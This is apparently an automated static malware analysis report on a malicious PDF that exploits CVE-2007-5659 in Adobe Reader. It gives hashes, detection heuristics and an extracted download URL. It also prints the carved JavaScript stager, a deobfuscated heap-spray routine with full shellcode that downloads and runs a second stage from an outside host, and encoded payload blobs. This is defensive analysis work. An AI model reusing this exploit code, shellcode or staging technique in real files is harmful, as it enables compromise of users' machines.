Malicious PDF — malware analysis report

Static analysis result for SHA-256 062c663a18f7ba76…

MALICIOUS

PDF

16.7 KB
MD5: 5cc7c13d1cb443ca71395f6c9ef70ee3 SHA-1: 8bc2eeae201df4ce0ad1d8df804c7807c1b97e48 SHA-256: 062c663a18f7ba76881a1a9c3b913ee42fd0a52c09b40b1458d8e3575ceaf2a0
406 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script is designed to download and execute a second-stage payload from the URL http://www.obsidallynd.com/info/nag3.html/n00a106201r0409R181201a3Xb352ffb8Y48eaeeb5Z0100f080. The presence of exploit code and a download URL indicates a malicious dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 4 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Annotation subject callee-key hex JavaScript stager high PDF_ANNOT_SUBJECT_CALLEE_HEX_STAGER
    PDF JavaScript uses syncAnnotScan()/getAnnots() to read an indirect annotation /Subject stream, percent-decodes it through marker replacement, then uses a callee.toString()-derived key to decode and eval the final exploit stage.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.obsidallynd.com/info/nag3.html/n00a106201r0409R181201a3Xb352ffb8Y48eaeeb5Z0100f080 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 9 at offset 0x4050 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
annotation_subject_callee_hex_stage_000.js
bd0dd8b42319f142097b6f704c5cd2acf1e63f39e0145fb4fdccf64d7e69cbce		 deobfuscated-js annotation-subject callee-key decoded JavaScript at offset 0x1981 5076 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var O_1L_36_C81kUv = new Array();var D__hAld34_xFm = 0;var F6Vk7_unO3X_hW2 = "";function e_iNc_X_Nr_n(aC_y501nhhu, j33U_cCb8Lx_c){var iQd_w_vu8TK___8 = j33U_cCb8Lx_c.toString();var t_M_13 = "";for(var MMH_F_L_eL = 0; MMH_F_L_eL < iQd_w_vu8TK___8.length; MMH_F_L_eL++) {var D_wutNWo = parseInt(iQd_w_vu8TK___8.substr(MMH_F_L_eL, 1));if (!isNaN(D_wutNWo)) {D_wutNWo = D_wutNWo.toString(16);if (D_wutNWo.length == 1) { D_wutNWo = "0" + D_wutNWo; }else if (D_wutNWo.length != 2) { D_wutNWo = "00"; }t_M_13 = D_wutNWo + t_M_13;if (t_M_13.length == 8) {break;}}}while(t_M_13.length < 8) { t_M_13 = "0" + t_M_13; }var bNG_04iAp = aC_y501nhhu.toString(16);if (bNG_04iAp.length == 1) { bNG_04iAp = "0" + bNG_04iAp; }else if (bNG_04iAp.length != 2) { bNG_04iAp = "00"; }t_M_13 = "3" + bNG_04iAp + "P" + t_M_13;return t_M_13;}function JwW_C4QCu31_3_8(v7_BEn, WaHwT5){var miut07Y_d = new Array("");var Ntp3_s_84Vu5 = v7_BEn;var M__7yp_rJ_m;if ((M__7yp_rJ_m = v7_BEn.lastIndexOf("%u00")) != -1) {if (M__7yp_rJ_m + 6 == v7_BEn.length) {miut07Y_d[0] = v7_BEn.substr(M__7yp_rJ_m + 4, 2);Ntp3_s_84Vu5 = v7_BEn.substring(0, M__7yp_rJ_m);}}M__7yp_rJ_m = 1;for (MMH_F_L_eL = 0; MMH_F_L_eL < WaHwT5.length; MMH_F_L_eL++) {var l3364_aK_q = WaHwT5.charCodeAt(MMH_F_L_eL).toString(16);if (l3364_aK_q.length == 1) { l3364_aK_q = "0" + l3364_aK_q; }miut07Y_d[M__7yp_rJ_m] = l3364_aK_q;M__7yp_rJ_m++;}MMH_F_L_eL = miut07Y_d[0].length ? 0 : 1;miut07Y_d[M__7yp_rJ_m] = "00";miut07Y_d[M__7yp_rJ_m + 1] = "00";M__7yp_rJ_m += 2;if ((miut07Y_d.length - MMH_F_L_eL) % 2) {miut07Y_d[M__7yp_rJ_m] = "00";}while(MMH_F_L_eL < miut07Y_d.length) {Ntp3_s_84Vu5 += "%u" + miut07Y_d[MMH_F_L_eL + 1] + miut07Y_d[MMH_F_L_eL];MMH_F_L_eL += 2;}Ntp3_s_84Vu5 += "%u0000";return Ntp3_s_84Vu5;}function MR_MdC2E_Gkn(tx_S0_x__46, D__4_1xh2__bm){while (tx_S0_x__46.length*2<D__4_1xh2__bm) {tx_S0_x__46 += tx_S0_x__46;}tx_S0_x__46 = tx_S0_x__46.substring(0,D__4_1xh2__bm/2);return tx_S0_x__46;}function v6_6cEoP3(l5u1V6_MG, n_Su__JE_Cj3nJ, M0_gp01){var Xodv3e5GA8 = 0x0c0c0c0c;var tx_S0_x__46 = unescape(n_Su__JE_Cj3nJ);var WaHwT5 = e_iNc_X_Nr_n(l5u1V6_MG, M0_gp01);var sm021Y_q142 = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var v7_BEn = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u6c70%u5542%u006a%u7468%u7074%u2f3a%u772f%u7777%u6f2e%u7362%u6469%u6c61%u796c%u646e%u632e%u6d6f%u692f%u666e%u2f6f%u616e%u3367%u682e%u6d74%u2f6c%u306e%u6130%u3031%u3236%u3130%u3072%u3034%u5239%u3831%u3231%u3130%u3361%u6258%u3533%u6632%u6266%u5938%u3834%u6165%u6565%u3562%u305a%u3031%u6630%u3830%u0030";app.H__q_aB_n3WN1i = unescape(JwW_C4QCu31_3_8(v7_BEn, WaHwT5));var YhpIcaUA = 0x400000;var WjxC_o0RwqHK5sp = sm021Y_q142.length * 2;var D__4_1xh2__bm = YhpIcaUA - (WjxC_o0RwqHK5sp+0x38);tx_S0_x__46 = MR_MdC2E_Gkn(tx_S0_x__46, D__4_1xh2__bm);var hHkT5G8 = (Xodv3e5GA8 - 0x400000)/YhpIcaUA;for (var r___76G5_cXm = 0; r___76G5_cXm < hHkT5G8; r___76G5_cXm++) {O_1L_36_C81kUv[r___76G5_cXm] = tx_S0_x__46 + sm021Y_q142;}}function cq3F_s4(){var xpNy_skid_h = "";for (MMH_F_L_eL = 0; MMH_F_L_eL < 12; MMH_F_L_eL++) {xpNy_skid_h += unescape("%u0c0c%u0c0c"
... (truncated)
legacy_pdfkit_stage_000.js
6289f1f2813c9f7e2ad7572a055e5b9c11dd17e40c9fa4d169236ba271992b8b		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x19D5 11444 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function jDA_6wu(y6tO2SxU4d, W_7_gb_yH_6){var g__uc7k_5__3ivF = 512;var lu_G___W_jY = 2;var p8bk275ey_2skv0 = 0;var ys__3r = 0;var tEA6L_ynl = "";var D8Tb_f_I_S_0x = "";var c_G_2ym4 = 0;var tYwH_R = 6 + 1;try {var ee_p_hA6 = 0;if (app) {ys__3r = ys__3r + 2;W_7_gb_yH_6 = pr[ee_p_hA6].subject;}} catch(e) { }ys__3r = ys__3r + 7;var tt_a_11ElKt = new Array();if (!y6tO2SxU4d) { tt_a_11ElKt = new Array(185,191,25,220,247,92);} else {tt_a_11ElKt = y6tO2SxU4d;}var XG_454E___P = 0;var vBpwo7 = 0;var iN7_luAwX8_pgL4 = 0;tYwH_R--;if (tYwH_R == 0) {} else {for(vBpwo7 = 0; vBpwo7 < W_7_gb_yH_6.length; vBpwo7 += lu_G___W_jY) {if (XG_454E___P >= tYwH_R) {XG_454E___P = 0;}var veauc___ys = W_7_gb_yH_6.substr(vBpwo7, lu_G___W_jY) + 'XXZ';var xNqAJ_V_dP0B = parseInt(veauc___ys, 19 + lu_G___W_jY);xNqAJ_V_dP0B -= tt_a_11ElKt[XG_454E___P] * (iN7_luAwX8_pgL4 + lu_G___W_jY);XG_454E___P++;if (xNqAJ_V_dP0B < 0) {xNqAJ_V_dP0B = String.fromCharCode(xNqAJ_V_dP0B - (Math.floor(xNqAJ_V_dP0B/256))*256);} else {xNqAJ_V_dP0B = String.fromCharCode(xNqAJ_V_dP0B);}if (ys__3r == 9) {tEA6L_ynl += xNqAJ_V_dP0B;} else if (ys__3r == 8) {tEA6L_ynl += HXv_vXov;} else {if (ys__3r != 9) {tEA6L_ynl += vBpwo7;}}iN7_luAwX8_pgL4++;}}var btA_G6Tq_1fs = this;btA_G6Tq_1fs['ev'+'al'](tEA6L_ynl);}
	jDA_6wu(0, "b17ba45314ahbi03457k9d0b4d5094078b3b71b137286f5ab34i244a3k7a399b6f6c189173493878b78d2ebg8975870k4k5h2a9c2gbd8bc10b1h04280443830j0d6b6k9d0948a57h9k1i6e504e68bb824k9c5hb8773j07b3bf14a99f5j07c32a27212c21a6226b778h545048873044665a62bd8d8h5e18a96f08607hac17ad7fa90fa02339a7890d6c3k7g6k40451j579g0ca152bb4g10385b4j8f946f04ah9168aec05h768a6e2123092k103h3c442e7a3b0d607jc1433aa34h0f1e9e354e6054ah709128bjb250a8941cbd2j8f87b1c12f620b1eai752d828a9c2a6j513021585g3953595g0h6f20a103288ca79bb9238429b46kbb7h22a61675409c4d3e1k2c5a2015ag4f186a4h4c413dc1a8ba1cag758303477a7ja167a25g964a053j3gbg4ibb31a0542fbk5g52a17f8b3a044j7a8bbc965b8f5kac495g3f711aba6aac8gbcb121bk362aaa74181086073b3h354f427k46476k93831k832fae2i2e9i678f8c927c41bk9g26b122bk9f4b042a86763a4c467a2eak571g690g8d8f6kb0661ebc0d698bb34k4b91a16d1c0ic34j0b0c3145760d2e0g1769ag481878351630115a8b9451b092831h89532b2468b99a959kbc030f2e374a76b866508bb629323f5k0a166039438b56b22g65276k8k40b98j00bd996c41796aab174a9hb1613k9a9k6k1e451fajbgc01fai3f2f58b66iab7e8bc02f4g6779b77h0jaf68bb43243j92c0318d681ib6a7251014600cai5i3g6e1g304k889010ba80536eb44a3171bg8c61c11jb2bi1i726k9c1ka73d14bk38c07d523k4k81251f7d94ba5c751j5jb718aa5c82c31jb476948bab6j0h0d8k3104a46d6jai48474335231ab635aba3bc687986041b69535hab3e96ac7e26c17i229g940abe1h873j1ka04c5k0kbd3fa5649e4f382g4d5e1e169f404g8a436g596a2b9ga4a535af0416266d6gaf7ac034991f383b4i8e4abi1f1j72c3013h45ac5d3523ak5680ac8g9f8j79680d0156238c762764b5b6aa3g466e166228bg5ibb7e183eb359663d8g788ga26g64185j3190ai4273ak1h035g673110ah406i0c95bf792ib166445g8270501dc3431b766k4b7455b387b114398jbcaa3j779k0c60c3719g5dak391ib376162f3i413ka8975g2694b1690888aj942197897c9g02745i5e006529ak7kbd212h3c0h2b6j1a1e3841a8094f884gb9229e5569a0c06h458d40035h1994bg3d10b765780d103h020k18219h1f4h5e9b45833d92344e5k5e5jbf5487612kab79aj51ae02a5ad8a0h9f6i1d3cb74kbi37514f6k1b1k4a43bh0eak22077g2d4a657hahac5f000d748fbj7h344a9k5e160h0e2i0b40246h5j640h9f6490b12g32ai4e394g01756b9d73ag797857848217257h049h07775790a9bd4d170faiah4hb9677h2f6j651244645a557372999b4jak82840g5i6606a1326h14bj6a267a2b9k1j6e10868k54364f6a0kbbb84f1774516k3d507fa89a0e04768i8i457b8ib86c1h4gb93e031241025jbf11095808952g1j7d3d572gb4518a979ab38h7g3188315h0h6e0f978e8e9ka4af2g97535k19a74k4aaa0c3c443d550d6352455i0ha51k7j0e9e470a78a70baf7g8i23c19b160c1ab414331c0g62492g47604iba053ac270ag7f7765aj800ibj045j677h726695a1460bb30g5cb1c20g0k64070c1a3h61a1803iae6d0k690d2a6b762kbh86783ja1894b1k6hbi8k1803bec28i26212g4cb1963e76ae27c0522abk487b5i3d581ja6406f2a7k923kb072008cbc8e4ca9790j39330jb93a0a999f74314854112k021gb3412f8ia42i7j9369c22i5f7kabbe7h0d776009551h7jc0c0097045biaj99569f1a6j127j3h4d6g3052834g729a844g1h6ea7326e6h019d2ebj129ibg23722b9c149e451f9214236d574d42a54723859fag62551a9c0f18af53bf8f2h8555a18dbg904e0bb25k29b4aia41e4637503j1i12b67e8584a85a9583022e6f6a4i8922931ia7669f761h8bb92bbd105c42140i3k641k7d166g
... (truncated)
deobfuscated.js
e503f263e507e1a501000504e707a961930a48f212a4a764e342be5b7b772faa		 deobfuscated-js PDF JavaScript deobfuscation pass 93160 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
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